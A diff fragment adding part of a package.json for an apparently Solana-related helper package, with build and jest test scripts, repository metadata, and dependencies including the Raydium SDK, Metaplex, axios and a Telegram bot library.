+ "build": "tsc",
10
+ "prepublishOnly": "npm run build",
11
+ "test:lint": "TERM_OVERRIDE=\"${TURBO_HASH:+dumb}\" TERM=${TERM_OVERRIDE:-$TERM} jest -c ../../node_modules/@solana/test-config/jest-lint.config.ts --rootDir . --silent",
12
+ "test:prettier": "TERM_OVERRIDE=\"${TURBO_HASH:+dumb}\" TERM=${TERM_OVERRIDE:-$TERM} jest -c ../../node_modules/@solana/test-config/jest-prettier.config.ts --rootDir . --silent",
13
+ "test:treeshakability:browser": "agadoo dist/index.browser.mjs",
14
+ "test:treeshakability:native": "agadoo dist/index.native.mjs",
15
+ "test:treeshakability:node": "agadoo dist/index.node.mjs",
16
+ "test:typecheck": "tsc --noEmit",
17
+ "test:unit:browser": "TERM_OVERRIDE=\"${TURBO_HASH:+dumb}\" TERM=${TERM_OVERRIDE:-$TERM} jest -c ../../node_modules/@solana/test-config/jest-unit.config.browser.ts --rootDir . --silent",
18
+ "test:unit:node": "TERM_OVERRIDE=\"${TURBO_HASH:+dumb}\" TERM=${TERM_OVERRIDE:-$TERM} jest -c ../../node_modules/@solana/test-config/jest-unit.config.node.ts --rootDir . --silent"
19
+ },
20
+ "keywords": [
21
+ "blockchain",
22
+ "solana",
23
+ "web3",
24
+ "common",
25
+ "helper"
26
+ ],
27
+ "author": "Solana Labs Maintainers <maintainers@solanalabs.com>",
28
+ "license": "MIT",
29
+ "repository": {
30
+ "type": "git",
31
+ "url": "https://github.com/solana-labs/solana-web3.js"
32
+ },
33
+ "bugs": {
34
+ "url": "http://github.com/solana-labs/solana-web3.js/issues"
35
+ },
36
+ "browserslist": [
37
+ "supports bigint and not dead",
38
+ "maintained node versions"
39
+ ],
40
+ "dependencies": {
41
+ "@metaplex-foundation/js": "^0.20.1",
42
+ "@raydium-io/raydium-sdk": "^1.3.1-beta.58",
43
+ "@solana/spl-token": "^0.4.9",
44
+ "@solana/web3.js": "^1.95.4",
45
+ "axios": "^1.7.7",
46
+ "bs58": "^6.0.0",
47
+ "node-telegram-bot-api": "^0.66.0"
48
+ },
49
+ "devDependencies": {
50
+ "@types/big.js": "^6.2.2",
51
+ "@types/bn.js": "^5.1.6",
52
+ "@types/bs58": "^4.0.4",
53
+ "@types/node": "^22.9.0",
54
+ "@types/node-telegram-bot-api": "^0.64.7",
55
+ "ts-node-dev": "^2.0.0",
56
+ "typescript": "^5.6.3"
57
+ },
58
+ "engines": {
59
+ "node": ">=18.20.4"
60
+ },
61
+ "packageManager": "yarn@1.22.22+sha512.a6b2f7906b721bba3d67d4aff083df04dad64c399707841b7acf00f6b133b7ac24255f2652fa22ae3534329dc6180534e98d17432037ff6fd140556e2bb3137e"
62
+ }